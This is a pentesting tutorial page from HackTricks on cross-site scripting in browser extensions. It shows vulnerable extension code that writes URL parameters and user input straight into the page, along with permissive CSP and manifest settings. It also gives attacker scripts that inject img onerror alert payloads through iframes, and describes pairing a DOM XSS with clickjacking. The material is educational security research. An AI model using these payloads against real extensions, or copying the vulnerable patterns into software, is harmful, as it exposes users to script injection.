hacktricks/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md

# BrowExt - XSS Example

{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Support HackTricks</summary>

* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>
{% endhint %}

## Cross-Site Scripting (XSS) through Iframe

In this setup, a **content script** is implemented to instantiate an Iframe, incorporating a URL with query parameters as the source of the Iframe:

```javascript
chrome.storage.local.get("message", result => {
  let constructedURL = chrome.runtime.getURL("message.html") +
    "?content=" + encodeURIComponent(result.message) +
    "&redirect=https://example.net/details";
  frame.src = constructedURL;
});
```

A publicly accessible HTML page, **`message.html`**, is designed to dynamically add content to the document body based on the parameters in the URL:

```javascript
$(document).ready(() => {
  let urlParams = new URLSearchParams(window.location.search);
  let userContent = urlParams.get("content");
  $(document.body).html(`${userContent} <button id='detailBtn'>Details</button>`);
  $('#detailBtn').on('click', () => {
    let destinationURL = urlParams.get("redirect");
    chrome.tabs.create({ url: destinationURL });
  });
});
```

A malicious script is executed on an adversary's page, modifying the `content` parameter of the Iframe's source to introduce a **XSS payload**. This is achieved by updating the Iframe's source to include a harmful script:

```javascript
setTimeout(() => {
  let targetFrame = document.querySelector("iframe").src;
  let baseURL = targetFrame.split('?')[0];
  let xssPayload = "<img src='invalid' onerror='alert(\"XSS\")'>";
  let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`;

  document.querySelector("iframe").src = maliciousURL;
}, 1000);
```

An overly permissive Content Security Policy such as:

```json
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"
```

allows the execution of JavaScript, making the system vulnerable to XSS attacks.

An alternative approach to provoke the XSS involves creating an Iframe element and setting its source to include the harmful script as the `content` parameter:

```javascript
let newFrame = document.createElement("iframe");
newFrame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
  encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>");
document.body.append(newFrame);
```

## DOM-based XSS + ClickJacking

This example was taken from the [original post writeup](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/).

The core issue arises from a DOM-based Cross-site Scripting (XSS) vulnerability located in **`/html/bookmarks.html`**. The problematic JavaScript, part of **`bookmarks.js`**, is detailed below:

```javascript
$('#btAdd').on('click', function() {
    var bookmarkName = $('#txtName').val();
    if ($('.custom-button .label').filter(function() {
        return $(this).text() === bookmarkName;
    }).length) return false;

    var bookmarkItem = $('<div class="custom-button">');
    bookmarkItem.html('<span class="label">' + bookmarkName + '</span>');
    bookmarkItem.append('<button class="remove-btn" title="delete">x</button>');
    bookmarkItem.attr('data-title', bookmarkName);
    bookmarkItem.data('timestamp', (new Date().getTime()));
    $('section.bookmark-container .existing-items').append(bookmarkItem);
    persistData();
});
```

This snippet fetches the **value** from the **`txtName`** input field and uses **string concatenation to generate HTML**, which is then appended to the DOM using jQuery’s `.append()` function.

Typically, the Chrome extension's Content Security Policy (CSP) would prevent such vulnerabilities. However, due to **CSP relaxation with ‘unsafe-eval’** and the use of jQuery’s DOM manipulation methods (which employ [`globalEval()`](https://api.jquery.com/jquery.globaleval/) to pass scripts to [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) upon DOM insertion), exploitation is still possible.

While this vulnerability is significant, its exploitation is usually contingent on user interaction: visiting the page, entering an XSS payload, and activating the “Add” button.

To enhance this vulnerability, a secondary **clickjacking** vulnerability is exploited. The Chrome extension's manifest showcases an extensive `web_accessible_resources` policy:

```json
"web_accessible_resources": [
    "html/bookmarks.html",
    "dist/*",
    "assets/*",
    "font/*",
    [...]
],
```

Notably, the **`/html/bookmarks.html`** page is prone to framing, thus vulnerable to **clickjacking**. This vulnerability is leveraged to frame the page within an attacker’s site, overlaying it with DOM elements to redesign the interface deceptively. This manipulation leads victims to interact with the underlying extension unintentionally.

## References

* [https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/](https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/)
* [https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/)

{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Support HackTricks</summary>

* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>
{% endhint %}